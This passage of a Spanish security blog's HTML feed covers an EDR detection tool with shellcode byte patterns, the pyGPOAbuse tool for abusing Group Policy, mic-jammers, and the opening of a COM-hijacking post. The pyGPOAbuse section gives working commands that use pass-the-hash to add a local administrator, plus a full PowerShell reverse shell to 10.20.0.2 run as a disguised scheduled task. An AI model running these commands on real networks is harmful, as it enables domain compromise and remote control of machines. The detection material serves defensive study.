href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpTxaMGH_MYWo2tT7e0xvOuga_8307tF6xWhi2ag3dYI0DgqJQoV2rqVark4toym93zW2wKbIq-eQR11eTUNu4LWLxj7LtUWqKJX_6KPecyokHy3tsTbeqnr4hkkeBdvJF3U55ZY4DYgolL5NiT8isS84C-ewtYM1B8UbR0uWUmUxt6zR-ddlc3kJEpJR/s978/callstackmonitoringreflectivedllinjection.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="530" data-original-width="978" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpTxaMGH_MYWo2tT7e0xvOuga_8307tF6xWhi2ag3dYI0DgqJQoV2rqVark4toym93zW2wKbIq-eQR11eTUNu4LWLxj7LtUWqKJX_6KPecyokHy3tsTbeqnr4hkkeBdvJF3U55ZY4DYgolL5NiT8isS84C-ewtYM1B8UbR0uWUmUxt6zR-ddlc3kJEpJR/w640-h346/callstackmonitoringreflectivedllinjection.gif" width="640" /></a></div><p></p><p>Echemos un vistazo a bajo nivel que sucede, aquí hay un programa simple que asigna un pool de memoria virtual de 4096 bytes a través de VirtualAlloc:<br /></p><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><br />int main() {<br /> size_t memSize = 4096; // 4 Ko<br /><br /> LPVOID pMemory = VirtualAlloc(nullptr, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br /> return 0;<br />}<br /></code></pre>los valores de los cuatro parámetros se transmiten a los registros r8, r9, rcx y rdx que luego se pasarán a la pila:<br /><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><br />KERNELBASE!VirtualAlloc+0x22:<br />00007ffb`9bdd1402 4183e0c0 and r8d,0FFFFFFC0h<br />00007ffb`9bdd1406 44894c2428 mov dword ptr [rsp+28h],r9d<br />00007ffb`9bdd140b 4489442420 mov dword ptr [rsp+20h],r8d<br />00007ffb`9bdd1410 4c8d4c2448 lea <b><span style="color: red;">r9</span></b>,[rsp+48h]<br />00007ffb`9bdd1415 4533c0 xor <b><span style="color: red;">r8d</span></b>,r8d<br />00007ffb`9bdd1418 488d542440 lea <b><span style="color: red;">rdx</span></b>,[rsp+40h]<br />00007ffb`9bdd141d 498d48ff lea <b><span style="color: red;">rcx</span></b>,[r8-1]<br />00007ffb`9bdd1421 48ff1500ea1f00 call qword ptr [<b><span style="color: red;">KERNELBASE!_imp_NtAllocateVirtualMemory</span></b> (00007ffb`9bfcfe28)]<br />00007ffb`9bdd1428 0f1f440000 nop dword ptr [rax+rax]<br />00007ffb`9bdd142d 85c0 test eax,eax<br />00007ffb`9bdd142f 780b js KERNELBASE!VirtualAlloc+0x5c (00007ffb`9bdd143c)<br /></code></pre><br />Estos mismos parámetros se pasarán al <span style="color: red; font-family: courier;">NtAllocateVirtualMemory</span> subyacente:<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9m_lmmddFtm1L3hElrj-i4wGatkVphl7-801YBAULvlOosyZFDcbHsIlzlFd9D0B0Lk1eJ02uyOYM6Dpm-_rCuauBBvIsk01UTJ3s0nuPrrhULwQej0FPJae7EsGgWav5g0D7o4grR2d1m2ADR-X7ZkAd8JhBvMBCCrL01Y2W3K6stj_i1uoSNsEoJE9m/s1324/call_stack_args.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="572" data-original-width="1324" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9m_lmmddFtm1L3hElrj-i4wGatkVphl7-801YBAULvlOosyZFDcbHsIlzlFd9D0B0Lk1eJ02uyOYM6Dpm-_rCuauBBvIsk01UTJ3s0nuPrrhULwQej0FPJae7EsGgWav5g0D7o4grR2d1m2ADR-X7ZkAd8JhBvMBCCrL01Y2W3K6stj_i1uoSNsEoJE9m/w640-h276/call_stack_args.png" width="640" /></a></div><br />Si establecemos un punto de interrupción en <span style="color: red; font-family: courier;">ntdll!NtAllocateVirtualMemory</span> en el loader del shellcode y desenrolamos la pila de llamadas cuando se alcanza el punto de interrupción, veremos que se pasa una dirección como parámetro a la rutina, correspondiente a un puntero al shellcode dexoreado.<br /><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijv0mjBfHryUU9m3rj2IAX3e9hQwxsnOZT6vKWj5WiHk_pmTDoFSCh4DjZ9CL43xEg4XnBBKI-Maw2pODXs5wwWl86HuoN01S2IsJlGIjKHKmp5WicWkuK3EJR3XKuNiMS7r9_Lb22GQgfNxoDzUrfHQOFogo7lQOg-COTcQiXrl-jnQcndVwn9Fx8SwzI/s879/call-stack-monitoring-shellcode-detection.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="522" data-original-width="879" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijv0mjBfHryUU9m3rj2IAX3e9hQwxsnOZT6vKWj5WiHk_pmTDoFSCh4DjZ9CL43xEg4XnBBKI-Maw2pODXs5wwWl86HuoN01S2IsJlGIjKHKmp5WicWkuK3EJR3XKuNiMS7r9_Lb22GQgfNxoDzUrfHQOFogo7lQOg-COTcQiXrl-jnQcndVwn9Fx8SwzI/w640-h380/call-stack-monitoring-shellcode-detection.png" width="640" /></a></div><p>Aquí hay un diagrama condicional global de cómo funciona la monitorización de la pila de llamadas de subprocesos en BOTM:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0sF5suMYC6SPiWScHM1DY643PZFEMnCjWInRbzmn5yWOawxTaggWIdQXpukNLIzqC5ZjNmcl9H48SrfUeXjMtFslYWNKB9NUt1tyJ2Wr4z1osvq3FCvku6woZ2tLuXZJhX5CIkNoN1K6YTlCIEq9qZuzDzkS_dtmH650uWV8Rk7L0S8cKWq_gPGDzMXD3/s987/rip-monitoring-algorithm.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="936" data-original-width="987" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0sF5suMYC6SPiWScHM1DY643PZFEMnCjWInRbzmn5yWOawxTaggWIdQXpukNLIzqC5ZjNmcl9H48SrfUeXjMtFslYWNKB9NUt1tyJ2Wr4z1osvq3FCvku6woZ2tLuXZJhX5CIkNoN1K6YTlCIEq9qZuzDzkS_dtmH650uWV8Rk7L0S8cKWq_gPGDzMXD3/s16000/rip-monitoring-algorithm.png" /></a></div><p><b><span style="font-size: large;">Import Address Table (IAT) Hooking </span></b><br /><br />Este método opera en el nivel de la tabla de direcciones de importación (IAT) del proceso de destino al sobrescribir las direcciones de importaciones legítimas con las direcciones de exportaciones de una DLL inyectada. Si bien puede parecer similar al hooking de una DLL debido a la inyección de una DLL, no lo es en absoluto, ya que este método no implica una instrucción 'jmp' para una función de trampolín.<br /><b><span style="font-size: large;"></span></b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTQP_MndZXJhyYp-u3aEN_dxHmzvFsZqRz9Z8LBemip2NwPHW3xEYmlyBRdFdI9GEGhmRtbgSSdZ2UrgchzimI6hbLecVDYRDA8Q3LCdipE4M9EwW_t-38XxcEY1hyphenhyphenFW6vqsQeStK6r93NgYjs5KXU_1y76mhgfgxEjz_XauCfIRKeZr9gvQFF2ysml6Em/s979/IAT%20hooking%20through%20a%20loaded%20DLL.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="587" data-original-width="979" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTQP_MndZXJhyYp-u3aEN_dxHmzvFsZqRz9Z8LBemip2NwPHW3xEYmlyBRdFdI9GEGhmRtbgSSdZ2UrgchzimI6hbLecVDYRDA8Q3LCdipE4M9EwW_t-38XxcEY1hyphenhyphenFW6vqsQeStK6r93NgYjs5KXU_1y76mhgfgxEjz_XauCfIRKeZr9gvQFF2ysml6Em/w640-h384/IAT%20hooking%20through%20a%20loaded%20DLL.png" width="640" /></a></div><p>Se muestra un cuadro de mensaje para cada función interceptada.<br /><br /><b>IAT-hooking VS Reflective DLL Loader:</b> </p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia3cTHsSJQRzzDi0TuJFNuTEkJd7fGnoCs83XfXE4dKWJUa9Z0zXFksMIu4bMgUESvFWNBSlHIZ3hJD9X7VN1c-RC5GMWy2PPULTgzWDW-KqL69cWleil3YL9u29a9lo5NkKRrclusjYNuhgUsZ4QFRgJIlJq4E5NMfklh1stSXvtMEICogktM1dHDC1nL/s1000/iat_hooking.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="530" data-original-width="1000" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia3cTHsSJQRzzDi0TuJFNuTEkJd7fGnoCs83XfXE4dKWJUa9Z0zXFksMIu4bMgUESvFWNBSlHIZ3hJD9X7VN1c-RC5GMWy2PPULTgzWDW-KqL69cWleil3YL9u29a9lo5NkKRrclusjYNuhgUsZ4QFRgJIlJq4E5NMfklh1stSXvtMEICogktM1dHDC1nL/w640-h340/iat_hooking.gif" width="640" /></a></div><br />Algunos podrían (quizás) preguntarse cómo se preservan los registros con este método de interceptación para ser analizados posteriormente, incluso con la adición de un cuadro de mensaje o cualquier instrucción que potencialmente pueda corromper los valores de los registros y distorsionar los valores de los parámetros. Bueno, todo lo que se necesita es activar IDA para obtener la respuesta: este método no impide la preservación y copia de seguridad de los valores de los registros r8, r9, rcx y rdx en otros registros (rbx, rdi, rsi).<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY31yxtSoEAWL0hcg0oUd5YEPbXIwrRqWdLsO9CalZdcZONpu0iUnOA5I8n8D_LS9QgRt19-y7UmDPC9PjofMpkxVJIcW_7JvtO8R-omUfUXT3sAeeDNp55e3uw1ZiYT3nAFook70ZPoVpPS-0-lA7Hk2yJHsyE1Mc-oLzpnXQf2tg0WRyrZPgCUHKXeNY/s1016/IATHookingRegsitersPreservation.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="574" data-original-width="1016" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY31yxtSoEAWL0hcg0oUd5YEPbXIwrRqWdLsO9CalZdcZONpu0iUnOA5I8n8D_LS9QgRt19-y7UmDPC9PjofMpkxVJIcW_7JvtO8R-omUfUXT3sAeeDNp55e3uw1ZiYT3nAFook70ZPoVpPS-0-lA7Hk2yJHsyE1Mc-oLzpnXQf2tg0WRyrZPgCUHKXeNY/w640-h362/IATHookingRegsitersPreservation.png" width="640" /></a></div><p><b><span style="font-size: large;">SSN Crushing</span></b><br /><br />Bueno, eso es puramente imaginativo y nada realista, simplemente consiste en sobrescribir/anular el valor de Syscall / SSN (Número de servicio del sistema) en el nivel NT con 0x21.</p><p>Esto hará que el proceso deje de funcionar en la mayoría de los casos si tocas rutinas importantes, ya sea porque el programa ha detectado un error de integridad en la suma de comprobación ntdll que ha cargado en la memoria o porque simplemente se ha dañado la llamada al sistema.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlhFqus9wqYltXc2agZN4aavw8kJl7Ee3URrzvLx5ACfMMy_GlTaWCvecJRh7EDuY_5iqcAy-oa0x294CSMijKy5Q0YVfopBs2J4LGYif6I6aax322S6Z8063QL6T3z2vywvsBrYHM-ts4h2zLjvPx664FNKanZ1AvNzNbpH4fPDt-NT5I6nRQLF_MYqGX/s1006/ssn-crushing-error.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="1006" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlhFqus9wqYltXc2agZN4aavw8kJl7Ee3URrzvLx5ACfMMy_GlTaWCvecJRh7EDuY_5iqcAy-oa0x294CSMijKy5Q0YVfopBs2J4LGYif6I6aax322S6Z8063QL6T3z2vywvsBrYHM-ts4h2zLjvPx664FNKanZ1AvNzNbpH4fPDt-NT5I6nRQLF_MYqGX/w640-h182/ssn-crushing-error.png" width="640" /></a></div><p>Entonces, ¿cuál es el punto de eso? Simplemente por intentar, desde el punto de vista de un atacante, revertir el valor de la llamada al sistema y anularlo con su valor real que habrías obtenido por cualquier medio<br /><br /><b><span style="font-size: large;">Reglas Yaro</span></b><br /><br />El archivo <span style="color: red; font-family: courier;">YaroRules.json</span> no contiene más que los patrones que desea identificar. Puedes divertirte buscando patrones interesantes comunes a muchos shellcodes/payloads útiles, como en este ejemplo que identifica patrones relacionados con el acceso al PEB y el recorrido de entradas LDR para un shellcode TCP inverso generado por metasploit.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7DZbcgG_yJEwfPMlpQG42VXAs0l5mI6KGy1Z0ENi7PYAyGxW0RJoowZbu6jnph-9T_XdYsrhoG9LF4xrOoYmZpPaH2qEUi20rvwnDgqwLqqxLlMBWRBh625ESQWRTv4-T_4JSek4GlLGSRMGRs7l8rkNxuUh4zseKq9Fr2kBbbYjTqr_PKQ1jux5m9_K/s1025/shellcode_content_once_decrypted.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="510" data-original-width="1025" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7DZbcgG_yJEwfPMlpQG42VXAs0l5mI6KGy1Z0ENi7PYAyGxW0RJoowZbu6jnph-9T_XdYsrhoG9LF4xrOoYmZpPaH2qEUi20rvwnDgqwLqqxLlMBWRBh625ESQWRTv4-T_4JSek4GlLGSRMGRs7l8rkNxuUh4zseKq9Fr2kBbbYjTqr_PKQ1jux5m9_K/s16000/shellcode_content_once_decrypted.png" /></a></div><p>También se puede agregar ciertos patrones de artefactos maliciosos conocidos (por ejemplo, Mimikatz). </p><p><span style="color: red; font-family: courier;">YaroRules.json</span> contiene 5 patrones predeterminados correspondientes al patrón de acceso a las entradas PEB y PEB_LDR_DATA para un shellcode inverso_tcp generado por Metasploit. También hay otros 3 patrones correspondientes a áreas en el encabezado de DOS de un objeto en formato PE.<br /></p><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><br />{<br /> "Patterns": [<br /> "d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48",<br /> "49 be 77 73 32 5f 33 32 00 00",<br /> "4d 5a",<br /> "4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00",<br /> "00 F0 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E"<br /> ]<br />}<br /></code></pre><br /><b>Fuente:</b> <a href="https://xacone.github.io/BestEdrOfTheMarket.html">https://xacone.github.io/BestEdrOfTheMarket.html</a><p></p><p><b>Proyecto</b>: <a href="https://github.com/Xacone/BestEdrOfTheMarket">https://github.com/Xacone/BestEdrOfTheMarket</a><br /></p><br />Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-78823006989749403132023-11-12T23:45:00.004+01:002023-11-12T23:46:12.176+01:00Abusando de las GPO con pyGPOAbuse<p>pyGPOAbuse es una herramienta de código abierto escrita en Python que permite abusar de las directivas de grupo (GPO). Es una implementación parcial de <a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a> y funciona creando una tarea programada inmediata en el equipo remoto como SYSTEM para las GPO de equipo o como el usuario que inició sesión para las GPO de usuario. </p><p>El comportamiento predeterminado agrega un administrador local al equipo.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKk6tengzCIvi99-naLVEMi1wg_naNIpdhb9VP7vo1cgurJIhEEmcrsI6AM8Q0F5rf5ZbAcKVgMa8DvwFkL3t3M0t-Kbe5bcaDbqzswP5LU2AbLAVlpwPvE7DanasvTMcN3TCSWR5ye-YPfpGR9U_MCOUOy0OVD5KB85vq7yvPVHLqE3WJyb0mbML6NMdf/s1169/pygpoabuse.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="498" data-original-width="1169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKk6tengzCIvi99-naLVEMi1wg_naNIpdhb9VP7vo1cgurJIhEEmcrsI6AM8Q0F5rf5ZbAcKVgMa8DvwFkL3t3M0t-Kbe5bcaDbqzswP5LU2AbLAVlpwPvE7DanasvTMcN3TCSWR5ye-YPfpGR9U_MCOUOy0OVD5KB85vq7yvPVHLqE3WJyb0mbML6NMdf/s16000/pygpoabuse.gif" /></a></div><p></p><h3 dir="auto" id="user-content-basic-usage" tabindex="-1">Uso básico<br /></h3><p dir="auto">Añade el usuario <b>john</b> al grupo de administradores locales (Password: <b>H4x00r123..</b>)</p>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto"><pre>./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id <span class="pl-s"><span class="pl-pds">"</span>12345677-ABCD-9876-ABCD-123456789012<span class="pl-pds">"</span></span></pre><div class="zeroclipboard-container position-absolute right-0 top-0">
</div></div><h3 dir="auto" id="user-content-advanced-usage" tabindex="-1">Uso avanzado<br /></h3><p dir="auto">Ejemplo de shell reversa:<br /></p>
<pre>./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id <span class="pl-s"><span class="pl-pds">"</span>12345677-ABCD-9876-ABCD-123456789012<span class="pl-pds">"</span></span> <span class="pl-cce">\ </span>
-powershell <span class="pl-cce">\ </span>
-command <span class="pl-s"><span class="pl-pds">"</span><span class="pl-cce">\$</span>client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);<span class="pl-cce">\$</span>stream = <span class="pl-cce">\$</span>client.GetStream();[byte[]]<span class="pl-cce">\$</span>bytes = 0..65535|%{0};while((<span class="pl-cce">\$</span>i = <span class="pl-cce">\$</span>stream.Read(<span class="pl-cce">\$</span>bytes, 0, <span class="pl-cce">\$</span>bytes.Length)) -ne 0){;<span class="pl-cce">\$</span>data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(<span class="pl-cce">\$</span>bytes,0, <span class="pl-cce">\$</span>i);<span class="pl-cce">\$</span>sendback = (iex <span class="pl-cce">\$</span>data 2>&1 | Out-String );<span class="pl-cce">\$</span>sendback2 = <span class="pl-cce">\$</span>sendback + 'PS ' + (pwd).Path + '> ';<span class="pl-cce">\$</span>sendbyte = ([text.encoding]::ASCII).GetBytes(<span class="pl-cce">\$</span>sendback2);<span class="pl-cce">\$</span>stream.Write(<span class="pl-cce">\$</span>sendbyte,0,<span class="pl-cce">\$</span>sendbyte.Length);<span class="pl-cce">\$</span>stream.Flush()};<span class="pl-cce">\$</span>client.Close()<span class="pl-pds">"</span></span> <span class="pl-cce">\ </span>
-taskname <span class="pl-s"><span class="pl-pds">"</span>Completely Legit Task<span class="pl-pds">"</span></span> \
-description <span class="pl-s"><span class="pl-pds">"</span>Dis is legit, pliz no delete<span class="pl-pds">"</span></span> <span class="pl-cce">\ </span>
-user</pre><b>Proyecto</b>: <a href="https://github.com/Hackndo/pyGPOAbuse">https://github.com/Hackndo/pyGPOAbuse</a><br />Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-64483975684405718832023-11-10T08:18:00.001+01:002023-11-10T08:18:02.796+01:00mic-jammers: dispositivos para interferir y evitar grabaciones de audio<p></p><div class="separator" style="clear: both; text-align: right;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ-LvUycpfpK-QtenmlUqB_1QdE2_btZjdv9kJ7WpPO3QSHns7Jy4o75Kqxh_uPxsTfBA7hhEjPKgdyS9vc7NYnJG4hubI6ySbe1DyCm_VrdyFjTZP1H521_jUSR6XpyVElfRgrq8S56fpNGl5qdL0ezrK8cDbJGWTPYqw93bZVvf14NjraGfgkuAc-tZT/s339/micjammer.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="255" data-original-width="339" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ-LvUycpfpK-QtenmlUqB_1QdE2_btZjdv9kJ7WpPO3QSHns7Jy4o75Kqxh_uPxsTfBA7hhEjPKgdyS9vc7NYnJG4hubI6ySbe1DyCm_VrdyFjTZP1H521_jUSR6XpyVElfRgrq8S56fpNGl5qdL0ezrK8cDbJGWTPYqw93bZVvf14NjraGfgkuAc-tZT/w200-h151/micjammer.png" width="200" /></a></div>Un mic-jammer es un dispositivo que emite una señal de ruido de alta
frecuencia que interfiere con la señal de audio que se transmite desde
un micrófono. Esto hace que la grabación de audio sea imposible o muy
difícil.<p></p><p>Los mic-jammers se pueden usar para proteger la privacidad, por ejemplo,
en entornos donde se espera que se produzcan conversaciones privadas,
como en las salas de juntas o en las oficinas. También se pueden usar
para evitar que se graben conferencias o eventos públicos.</p><a name='more'></a><p><b>¡Disclaimer!</b></p><p>Los mic-jammers están sujetos a regulaciones en algunos países. </p><p>En
España, por ejemplo, los mic-jammers solo pueden ser utilizados por
personal autorizado. La Ley 9/2014, de 9 de mayo, General de Telecomunicaciones, en su artículo 195, establece que está prohibido el uso de dispositivos de interferencia electromagnética que puedan perturbar el funcionamiento de los sistemas de telecomunicaciones.</p><p data-sourcepos="3:1-3:210">Esta prohibición se aplica a los mic-jammers porque pueden interferir con la transmisión de audio por radiofrecuencia. El uso de un mic-jammer sin autorización puede conllevar una sanción de hasta 60.000 euros.</p><p data-sourcepos="5:1-5:67">Las únicas excepciones a esta prohibición son los siguientes casos:</p><ul data-sourcepos="7:1-10:0"><li data-sourcepos="7:1-7:121">El uso de mic-jammers por parte de las Fuerzas y Cuerpos de Seguridad del Estado para el cumplimiento de sus funciones.</li><li data-sourcepos="8:1-8:97">El uso de mic-jammers por parte de empresas de seguridad para proteger instalaciones sensibles.</li><li data-sourcepos="9:1-10:0">El uso de mic-jammers por parte de
personas autorizadas por el Ministerio de Industria, Comercio y Turismo
para realizar pruebas o investigaciones.</li></ul><p data-sourcepos="11:1-11:116">Así que si estás pensando en usar un mic-jammer, es importante que te asegures de que cumples con la legislación correspondiente.</p><p><b>Tipos de mic-jammers</b></p><p data-sourcepos="7:1-7:204">Los mic-jammers pueden ser dispositivos portátiles o fijos. Los dispositivos portátiles suelen ser pequeños y fáciles de transportar, mientras que los dispositivos fijos suelen ser más grandes y potentes.</p><p data-sourcepos="9:1-9:379">Los mic-jammers pueden funcionar en una variedad de frecuencias, dependiendo del tipo de micrófono que se esté bloqueando. Los micrófonos de alta frecuencia, como los que se usan en los teléfonos celulares y los micrófonos inalámbricos, son más fáciles de bloquear que los micrófonos de baja frecuencia, como los que se usan en los micrófonos de cinta y los micrófonos dinámicos.</p><p data-sourcepos="9:1-9:379">Os dejo algunos proyectos interesantes:</p><p data-sourcepos="9:1-9:379"><b>- </b><b><a href="https://www.reddit.com/r/ArduinoProjects/comments/110lve9/is_this_normal_for_ultrasonic_sensors_trying_to/" target="_blank">Mic-jammer de Arduino</a>:</b>
Este proyecto utiliza una placa Arduino para generar una señal de ruido
de alta frecuencia que se emite a través de una antena. El proyecto es
relativamente sencillo de construir y puede ser adaptado para funcionar
en una variedad de frecuencia.</p><div class="separator" style="clear: both; text-align: center;"><span _ngcontent-ng-c2032098147="" class="ng-star-inserted" data-test-id="content" style="margin-left: 1em; margin-right: 1em;"><img _ngcontent-ng-c963382926="" alt="Micjammer de Arduino" class="image" height="400" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEhg7z_LVmajd13lXEUstjgVLOfsxFVglUfY27StwCmR-wxtCvufIhHbECl_fyOouRe5X3DH-PUI7__MSVDkDnCJXR4D-UO4Fec9iQ_-NcgRbf3VIf2v9XcyiuVlO9eXCLCY0pQc88r_zaxaX7q0XsnHL_41xkdiIJjg1hkmgqBJEBcD4gskFl_mCfohJWPGesHb9dcLLUwRwXmS5A7jLA1VYtPesIOfiVkhurLcMrU6Cn_OBgIuGmulUkjQSne9nYw6D4h0SuZ3wPG4fYrFi-pAoPp_tFVVR9mSeg6LwgiO3OzBFvx2w1JO4CsvBrvj0HGJ8snvsQ=w300-h400" width="300" /></span></div><p><span _ngcontent-ng-c2032098147="" class="cdk-visually-hidden ng-star-inserted"></span><b>- <a href="https://electronut.in/mico/" target="_blank">Mic-jammer de Raspberry Pi</a>:</b>
Este proyecto utiliza una Raspberry Pi para generar una señal de ruido
de alta frecuencia que se emite a través de una antena. <br /></p><div><div><div><div style="text-align: center;"><div _ngcontent-ng-c963382926="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c963382926="" class="mat-mdc-tooltip-trigger overlay-container ng-star-inserted"><a _ngcontent-ng-c963382926="" _nghost-ng-c2032098147="" aria-live="polite" class="image-source-link ng-star-inserted" href="https://electronut.in/mico/" rel="noopener noreferrer" target="_blank"><span _ngcontent-ng-c2032098147="" class="ng-star-inserted" data-test-id="content"><img _ngcontent-ng-c963382926="" alt="Micjammer de Raspberry Pi" class="image" height="400" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEjN1tHyW6VT7b9wKbC8YtdphkFw54IxBelkIr_7srfT__Y7iocAM6WDhl2XrBRolHY81Zx_BjUxBouVPK_n8Ad4hcey3toZzcLeCaYgrqhMyf2G22TnNMfHKZ_oXHrGIV0KYzukD7vun_wpurVy=w400-h400" width="400" /></span></a></div></div></div><b> </b></div><div><b>- <a href="https://sandlab.cs.uchicago.edu/jammer/" target="_blank">Mic-jammer comercial:</a></b> Hay
una serie de mic-jammers comerciales disponibles en el mercado. Estos
dispositivos suelen ser más potentes y fáciles de usar que los proyectos
de bricolaje. </div><div> </div><div class="separator" style="clear: both; text-align: center;"><span _ngcontent-ng-c2032098147="" class="ng-star-inserted" data-test-id="content" style="margin-left: 1em; margin-right: 1em;"><img _ngcontent-ng-c963382926="" alt="Micjammer comercial" class="image" height="320" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEi-u1K4dQogjMvhRKz8ArNBwpMTecuji3UR__YhyKBcuHSrFJ7c-PELaOGFfBlV824rDpi-hJGGQuPZaUd3Zuf9Lj3KFEYJPRZySObjtLKsndmWTdfaYyllBEj1LtE6vde49WRnmXDVeCxiOetXpZcVnnV6UrZ88aK9Efkv7kQ=w400-h320" width="400" /></span></div><div></div><div><p data-sourcepos="9:1-9:379"><b>Detectores de Mic-jammer</b></p><p data-sourcepos="1:1-1:55"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPwttYlwSIn2kwXMHTLEK74dKw0EzDyg5d-nM76XbiOEBCW-kWN49VUU0F886qvFNvJpWUIfUNypBCKwhEohZhTtkT_wdBd5hyphenhyphenDKZ7hdibnbVG0HpvkBhzcxSJfXdvf6RiHUdp7Cn2Nmc62YiVHEyVWdN0WfHXP8bI4rMkhYIvSP-Qeuj1d_5B4NiWWT4o/s464/micjammer_detector.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="464" data-original-width="260" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPwttYlwSIn2kwXMHTLEK74dKw0EzDyg5d-nM76XbiOEBCW-kWN49VUU0F886qvFNvJpWUIfUNypBCKwhEohZhTtkT_wdBd5hyphenhyphenDKZ7hdibnbVG0HpvkBhzcxSJfXdvf6RiHUdp7Cn2Nmc62YiVHEyVWdN0WfHXP8bI4rMkhYIvSP-Qeuj1d_5B4NiWWT4o/s320/micjammer_detector.png" width="179" /></a></div><br />Hay dos tipos principales de detectores de mic-jammers:<p></p><ul data-sourcepos="3:1-5:0"><li data-sourcepos="3:1-3:154"><strong>Detectores de radiofrecuencia (RF).</strong> Estos detectores detectan la presencia de señales de radiofrecuencia que son características de los mic-jammers.</li><li data-sourcepos="4:1-5:0"><strong>Detectores acústicos.</strong> Estos detectores detectan la presencia de ruido de alta frecuencia que es generado por los mic-jammers.</li></ul><p data-sourcepos="6:1-6:215">Los detectores de RF suelen ser más precisos que los detectores acústicos, pero también pueden ser más caros. </p><p data-sourcepos="6:1-6:215">Un ejemplo de detectores de mic-jammers lo tenéis por ejemplo <a href="https://www.amazon.com/-/es/Detector-errores-Tracker-negociaci%C3%B3n-negocios/dp/B07Q3WN2CR?th=1" target="_blank">aquí</a>.<br /></p><p data-sourcepos="9:1-9:379"> </p><p></p></div></div></div>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-88731656292770668352023-11-01T23:28:00.005+01:002023-11-01T23:28:43.938+01:00Secuestro de objetos COM para persistencia<p>Cuando hablamos 